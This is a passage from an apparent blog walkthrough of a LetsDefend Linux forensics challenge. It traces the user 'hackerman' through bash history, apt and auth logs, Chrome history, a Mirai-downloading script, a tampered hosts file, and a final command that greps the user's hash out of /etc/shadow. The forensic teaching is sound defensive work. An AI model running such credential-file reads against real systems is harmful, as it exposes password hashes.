class=&#34;gallery-image&#34; data-flex-basis=&#34;384px&#34; data-flex-grow=&#34;160&#34; height=&#34;414&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/ebe82682ab6a2440bc7ae23b389a2bdb_MD5.png&#34; width=&#34;663&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the Chrome installation command within the .bash_history&lt;/p&gt;&#xA;&lt;p&gt;The output will display in ascending order, with the oldest commands appearing first. Scanning through the commands run by &lt;em&gt;hackerman&lt;/em&gt;, we can see near the bottom that they downloaded the Chrome installer package and installed it using &lt;code&gt;[dpkg](https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html)&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;sudo dpkg -i google-chrome-stable_current_amd64.deb&lt;/p&gt;&#xA;&lt;p&gt;Keep this terminal window handy — we&amp;rsquo;ll reference it several more times throughout our investigation&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1015px&#34; data-flex-grow=&#34;423&#34; height=&#34;189&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/4585947951a1de56d114e69150322b9c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-when-was-the-gimp-app-installed-answer-format-yyyy-mm-dd-hhmmss&#34;&gt;Question 4: When was the Gimp app installed? Answer format: yyyy-mm-dd hh:mm:ss&#xA;&lt;/h3&gt;&lt;p&gt;To answer Question 4, we&amp;rsquo;ll search another valuable artifact: the &lt;code&gt;history.log&lt;/code&gt; file. This log contains entries from the &lt;code&gt;apt&lt;/code&gt; package manager, including installation commands and timestamps.&lt;/p&gt;&#xA;&lt;p&gt;You can access the &lt;code&gt;history.log&lt;/code&gt; file from the mounted file system by navigating to:&lt;/p&gt;&#xA;&lt;p&gt;/media/root/&lt;UUID&gt;/var/log/apt/history.log&lt;/p&gt;&#xA;&lt;p&gt;You can read this file from the terminal using &lt;code&gt;cat&lt;/code&gt;, or open it with a text editor. For illustrative purposes, I&amp;rsquo;ve opened the log in the &lt;em&gt;Mousepad&lt;/em&gt; text editor on the VM and used the &lt;em&gt;Find&lt;/em&gt; function to search for &lt;code&gt;&amp;quot;gimp&amp;quot;&lt;/code&gt;. This takes us directly to the logged line:&lt;/p&gt;&#xA;&lt;p&gt;Commandline: apt install gimp&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;433&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/91dcf4d890e0ec59b057c5a0e4104b69_MD5.png&#34; width=&#34;576&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the Gimp installation in history.log&lt;/p&gt;&#xA;&lt;p&gt;Just above that line, you&amp;rsquo;ll find the corresponding timestamp we need within the &lt;em&gt;Start-Date&lt;/em&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1129px&#34; data-flex-grow=&#34;470&#34; height=&#34;170&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/84b2b5c566e504e985ad39fefce90d78_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-hidden-secret-that-the-attacker-believes-they-have-successfully-concealed-in-a-secretfile&#34;&gt;Question 5: What is the hidden secret that the attacker believes they have successfully concealed in a secret file?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to examine the contents of a &amp;ldquo;secret&amp;quot;file. Remember how I mentioned we&amp;rsquo;d need the contents of the &lt;code&gt;.bash_history&lt;/code&gt; file again? Let&amp;rsquo;s refer back to the output we explored in &lt;strong&gt;Question 3&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Take a look at the commands for our clue. The attacker, &lt;em&gt;hackerman&lt;/em&gt;, first uses the &lt;code&gt;cd ~&lt;/code&gt; command to navigate to their home directory, and then uses the &lt;code&gt;touch&lt;/code&gt; command to create the &lt;code&gt;.secrets&lt;/code&gt; file, and then &lt;code&gt;nano .secrets&lt;/code&gt; to edit it within the &lt;em&gt;Nano&lt;/em&gt; text editor. Let&amp;rsquo;s see what&amp;rsquo;s inside!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;432px&#34; data-flex-grow=&#34;180&#34; height=&#34;367&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/79e5d2d5e4a35770ab69bb10df024b41_MD5.png&#34; width=&#34;661&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the .secrets file within the .bash_history&lt;/p&gt;&#xA;&lt;p&gt;cat .secrets&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;816px&#34; data-flex-grow=&#34;340&#34; height=&#34;195&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/8983ac7b714f4c685c40f8f558aa6807_MD5.png&#34; width=&#34;663&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Revealing the contents of the .secrets file&lt;/p&gt;&#xA;&lt;p&gt;Using the &lt;code&gt;cat&lt;/code&gt; command, we can display the contents of the &amp;ldquo;secret&amp;quot;file for some insight into the attacker&amp;rsquo;s motives. Nice!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1149px&#34; data-flex-grow=&#34;479&#34; height=&#34;167&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/b66714dadd4423b76babaab16f1be655_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-was-the-uuid-of-the-main-rootvolume&#34;&gt;Question 6: What was the UUID of the main root volume?&#xA;&lt;/h3&gt;&lt;p&gt;Next stop on our investigation is to determine the &lt;strong&gt;Universally Unique Identifier (UUID)&lt;/strong&gt; of the main root volume. That might sound a bit complicated, but the good news is — we&amp;rsquo;ve already done the hard part.&lt;/p&gt;&#xA;&lt;p&gt;A &lt;em&gt;UUID&lt;/em&gt; is a unique identifier used to distinguish storage devices and file systems. It&amp;rsquo;s the same mechanism that allowed us to mount the &lt;code&gt;hackerman.img&lt;/code&gt; file earlier in the challenge. That image has a UUID, and it&amp;rsquo;s how we&amp;rsquo;re identifying and navigating the file system.&lt;/p&gt;&#xA;&lt;p&gt;So, the &lt;em&gt;UUID&lt;/em&gt; for the main root volume is the string of numbers we identified in the device path:&lt;/p&gt;&#xA;&lt;p&gt;29153a2e-48a7-4e89-a844-dfa637a5d461&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;432px&#34; data-flex-grow=&#34;180&#34; height=&#34;367&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/563684493ba5622c228eeb9a97173c8d_MD5.png&#34; width=&#34;661&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the UUID within the terminal path&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3927px&#34; data-flex-grow=&#34;1636&#34; height=&#34;44&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/7a992795bf71e803984a487662b909d8_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the UUID within the files window&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1037px&#34; data-flex-grow=&#34;432&#34; height=&#34;185&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/82dc43f3c9627db482196297a7b73afc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-how-many-privileged-commands-did-the-userrun&#34;&gt;Question 7: How many privileged commands did the user run?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re closing in on the halfway point! For the next question, we need to determine the number of privileged commands run by the &lt;em&gt;hackerman&lt;/em&gt; user. For this objective, we can leverage another log — &lt;code&gt;auth.log&lt;/code&gt;. This file contains the system&amp;rsquo;s authentication events, including commands elevated using &lt;code&gt;[sudo](https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html)&lt;/code&gt; or &lt;code&gt;[pkexec](https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To start, let&amp;rsquo;s open &lt;code&gt;auth.log&lt;/code&gt; and look for patterns involving &lt;code&gt;sudo&lt;/code&gt; and &lt;code&gt;pkexec&lt;/code&gt; under the &lt;em&gt;hackerman&lt;/em&gt; user account. The log can be found at:&lt;/p&gt;&#xA;&lt;p&gt;/media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/var/log/auth.log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/298e83ddf6e77825e8d8b87cf29838ca_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Auth.log: Identifying a sample of privileged command execution&lt;/p&gt;&#xA;&lt;p&gt;Inside &lt;em&gt;auth.log&lt;/em&gt;, we can single out a few commands (&lt;em&gt;see the above screenshot&lt;/em&gt;) that match what we&amp;rsquo;re looking for. The presence of these events in the logs indicates that &lt;em&gt;hackerman&lt;/em&gt; ran the command with elevated privileges:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;[sudo](https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html)&lt;/code&gt; is used to execute commands with superuser privileges.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[pkexec](https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html)&lt;/code&gt; is part of the &lt;em&gt;PolicyKit&lt;/em&gt; framework and allows a user to execute a command as another user (root in this case).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So, putting this all together and keeping it simple: we can see a pattern in how the username is displayed with each command type — &lt;code&gt;hackerman:&lt;/code&gt; for &lt;em&gt;sudo&lt;/em&gt; and &lt;code&gt;hackerman :&lt;/code&gt; for &lt;em&gt;pkexec&lt;/em&gt;. We&amp;rsquo;re going to pull out all of the lines matching this format by running a pattern match with &lt;code&gt;grep&lt;/code&gt; for both.&lt;/p&gt;&#xA;&lt;p&gt;This will help us identify all the privileged commands executed by the attacker. To make it even easier, we can add &lt;code&gt;wc -l&lt;/code&gt; at the end to get a line count and save ourselves the headache. I&amp;rsquo;ve demonstrated the command with and without it below:&lt;/p&gt;&#xA;&lt;p&gt;cat auth.log | grep -e &amp;ldquo;hackerman:&amp;rdquo; - &amp;ldquo;hackerman :&amp;rdquo; | wc -l&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;360px&#34; data-flex-grow=&#34;150&#34; height=&#34;533&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/5e5fb6c1da5170e1b23f5b5c0983f37e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using grep to identify all privileged commands in auth.log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1090px&#34; data-flex-grow=&#34;454&#34; height=&#34;176&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/dee3e0733f2d32fd82be03e1ffa93179_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-last-thing-the-user-searches-for-in-the-installed-browser&#34;&gt;Question 8: What is the last thing the user searches for in the installed browser?&#xA;&lt;/h3&gt;&lt;p&gt;Remember back in &lt;strong&gt;Question 3&lt;/strong&gt; when we learned that &lt;em&gt;hackerman&lt;/em&gt; installed &lt;strong&gt;Google Chrome&lt;/strong&gt;? It&amp;rsquo;s reasonable to assume that this browser was also used during the attack, so let&amp;rsquo;s check out the browser cache artifacts located at:&lt;/p&gt;&#xA;&lt;p&gt;/home/hackerman/.config/google-chrome/Default/&lt;/p&gt;&#xA;&lt;p&gt;From here, we&amp;rsquo;ll focus on analyzing the &lt;code&gt;History&lt;/code&gt; database, which holds logs of the searches performed in &lt;em&gt;Chrome&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/96bb24ddc0dc7ed0067774586eeb1e65_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend VM: The location of the Chrome History database&lt;/p&gt;&#xA;&lt;p&gt;But how do we open it? Here&amp;rsquo;s a little problem — the &lt;code&gt;History&lt;/code&gt; file is a SQLite database, and the &lt;em&gt;LetsDefend&lt;/em&gt; environment doesn&amp;rsquo;t have internet access and doesn&amp;rsquo;t have a SQLite database browser built in either.&lt;/p&gt;&#xA;&lt;p&gt;Maybe we can try a simple hack: use &lt;code&gt;cat&lt;/code&gt; to open the database in the terminal and look for any readable strings. Only one way to find out if it works! Open the terminal in the directory and run the command below:&lt;/p&gt;&#xA;&lt;p&gt;cat History&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;147&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/dc9b8abf4f6ebe8439e0ce16624b759d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying a search string within the Chrome History database&lt;/p&gt;&#xA;&lt;p&gt;Well, it isn&amp;rsquo;t pretty — but if you scroll through the output, you can make out the last string searched at the bottom of the log. Pay close attention to the spelling of &lt;em&gt;downlowad&lt;/em&gt; (sic) in the string.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1060px&#34; data-flex-grow=&#34;441&#34; height=&#34;181&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/7a179dc1d3ca2cdbe40e707584101447_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-from-q8-we-know-that-the-user-tried-to-write-a-script-what-is-the-script-name-that-the-userwrote&#34;&gt;Question 9: From Q8 we know that the user tried to write a script, what is the script name that the user wrote?&#xA;&lt;/h3&gt;&lt;p&gt;It looks like &lt;em&gt;hackerman&lt;/em&gt; is still learning his tradecraft, and our next task is to identify the malicious script they wrote. Fortunately, we&amp;rsquo;ve already stumbled on a clue back in &lt;strong&gt;Question 3&lt;/strong&gt;&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Maybe it stuck out to you when we were reviewing the &lt;code&gt;.bash_history&lt;/code&gt; file, but take another look—do you notice the second logged command? A shell script (&lt;code&gt;.sh&lt;/code&gt;) file was created using the &lt;code&gt;touch&lt;/code&gt; command:&lt;/p&gt;&#xA;&lt;p&gt;superhackingscript.sh&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;556px&#34; data-flex-grow=&#34;231&#34; height=&#34;345&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/aa416090ed68fd4ebf97d096ff480470_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying superhackingscript.sh within the .bash_history&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s jump down to the next question to determine the contents of this script — and whether it&amp;rsquo;s a &lt;em&gt;super-hacking&lt;/em&gt; script, indeed!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/0f60488b249da511ad52606e24faebd9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-what-is-the-url-that-the-user-uses-to-download-themalware&#34;&gt;Question 10: What is the URL that the user uses to download the malware?&#xA;&lt;/h3&gt;&lt;p&gt;To locate the script&amp;rsquo;s directory, we can open the terminal and use the &lt;code&gt;find&lt;/code&gt; command to search for the file by name:&lt;/p&gt;&#xA;&lt;p&gt;find /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/ -name &amp;ldquo;superhackingscript.sh&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! We can see it&amp;rsquo;s located in the &lt;code&gt;/tmp&lt;/code&gt; directory. Now all we need to do is &lt;code&gt;cat&lt;/code&gt; the file to check out its contents:&lt;/p&gt;&#xA;&lt;p&gt;cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/tmp/superhackingscript.sh&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;690px&#34; data-flex-grow=&#34;287&#34; height=&#34;278&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/0aa16b515ef822d8506a09d93f23ccc7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the malicious URL within superhackingscript.sh&lt;/p&gt;&#xA;&lt;p&gt;With a conveniently placed comment line, we can see the URL hosting the &lt;em&gt;supermalware&lt;/em&gt; — er, malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1043px&#34; data-flex-grow=&#34;434&#34; height=&#34;184&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/19127d9a1f2f4d3f06d3655e95d1d9d4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-what-is-the-name-of-the-malware-that-the-user-tried-to-download&#34;&gt;Question 11: What is the name of the malware that the user tried to download?&#xA;&lt;/h3&gt;&lt;p&gt;Conveniently, we also have a &lt;code&gt;destination&lt;/code&gt; variable declared within &lt;code&gt;superhackingscript.sh&lt;/code&gt;. This is the path where the &lt;code&gt;curl&lt;/code&gt; command writes the downloaded file—but it doesn&amp;rsquo;t look quite like a typical file name, does it? It looks more like a file hash, similar to what we identified back in &lt;strong&gt;Questions 1&lt;/strong&gt; and &lt;strong&gt;2&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;703px&#34; data-flex-grow=&#34;293&#34; height=&#34;273&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/45978a476916cc8db671d11e7ef21009_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the malicious file hash within superhackingscript.sh&lt;/p&gt;&#xA;&lt;p&gt;ed6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check if this is a known file hash by pivoting out to the online malware sharing and analysis platform, &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;. Copy the hash from the script and open your browser, navigating to: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once there, paste the hash into the search bar and let&amp;rsquo;s see what we find:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;615px&#34; data-flex-grow=&#34;256&#34; height=&#34;312&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/58c7291021a52c66960327872b40934c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the family label for the malware file hash&lt;/p&gt;&#xA;&lt;p&gt;Right away, we can see that this sample has been submitted to the platform before, and more than half of the antimalware engines that scanned it flagged it as malicious. But to answer &lt;strong&gt;Question 11&lt;/strong&gt;, we&amp;rsquo;re focused on the &amp;ldquo;Family label&amp;quot;tags. These tags help us identify the malware family, and in this case, the name of the malware is &lt;strong&gt;Mirai&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1049px&#34; data-flex-grow=&#34;437&#34; height=&#34;183&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/dbe8c70307976ec9a56bc89f59158b1b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-what-is-the-ip-address-associated-with-the-domain-that-the-userpinged&#34;&gt;Question 12: What is the IP address associated with the domain that the user pinged?&#xA;&lt;/h3&gt;&lt;p&gt;Switching gears, our next task is to determine the IP address associated with the &lt;code&gt;mmox.challenges&lt;/code&gt; domain that the user pinged. We have evidence of this domain in the &lt;code&gt;.bash_history&lt;/code&gt; file, where the user ran the &lt;code&gt;ping&lt;/code&gt; command—but take a closer look at the command executed just before that:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;556px&#34; data-flex-grow=&#34;231&#34; height=&#34;345&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/de6dcf4cc050ff6dd93e842ce6e27703_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying host file and ping activity within the .bash_history&lt;/p&gt;&#xA;&lt;p&gt;sudo nano /etc/hosts&lt;/p&gt;&#xA;&lt;p&gt;This tells us that the attacker modified the hosts file, which is used to create manual IP-to-hostname mappings. Since the hosts file is checked &lt;em&gt;before&lt;/em&gt; DNS resolution, any manual entry here would override the actual DNS record. If &lt;em&gt;hackerman&lt;/em&gt; made a modification, the domain could be mapped to attacker-controlled infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;So, our next stop is to examine the contents of the hosts file. Once again, we can simply &lt;code&gt;cat&lt;/code&gt; it to the terminal:&lt;/p&gt;&#xA;&lt;p&gt;cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/etc/hosts&lt;/p&gt;&#xA;&lt;p&gt;And there it is: the &lt;code&gt;mmox.challenges&lt;/code&gt; domain is mapped to the IP address:&lt;/p&gt;&#xA;&lt;p&gt;185[.]199[.]111[.]153&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;888px&#34; data-flex-grow=&#34;370&#34; height=&#34;216&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/68abf1eade36c9ab05b3536e509b20a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying malicious IP association within /etc/hosts&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1072px&#34; data-flex-grow=&#34;446&#34; height=&#34;179&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/ed05b27ad253f341ebbe292889ef4c5c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-13-what-is-the-password-hash-of-the---&#34;&gt;Question 13: What is the password hash of the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;hackerman&amp;rdquo;&#xA;user?&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve made it to the last question, and our final task is to retrieve the password hash for the &lt;em&gt;hackerman&lt;/em&gt; user account.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we need to access the contents of the &lt;code&gt;/etc/shadow&lt;/code&gt; file within the mounted image. The &lt;code&gt;/etc/shadow&lt;/code&gt; file is one part of the Linux authentication system and contains, among other properties, the password hashes for all user accounts on the system.&lt;/p&gt;&#xA;&lt;p&gt;For the purposes of our investigation, we can use &lt;code&gt;cat&lt;/code&gt; and &lt;code&gt;grep&lt;/code&gt; to focus on retrieving the hash for the &lt;em&gt;hackerman&lt;/em&gt; user:&lt;/p&gt;&#xA;&lt;p&gt;cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/etc/shadow | grep &amp;ldquo;hackerman&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;After running the command, we&amp;rsquo;ll see the line containing the hash displayed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; 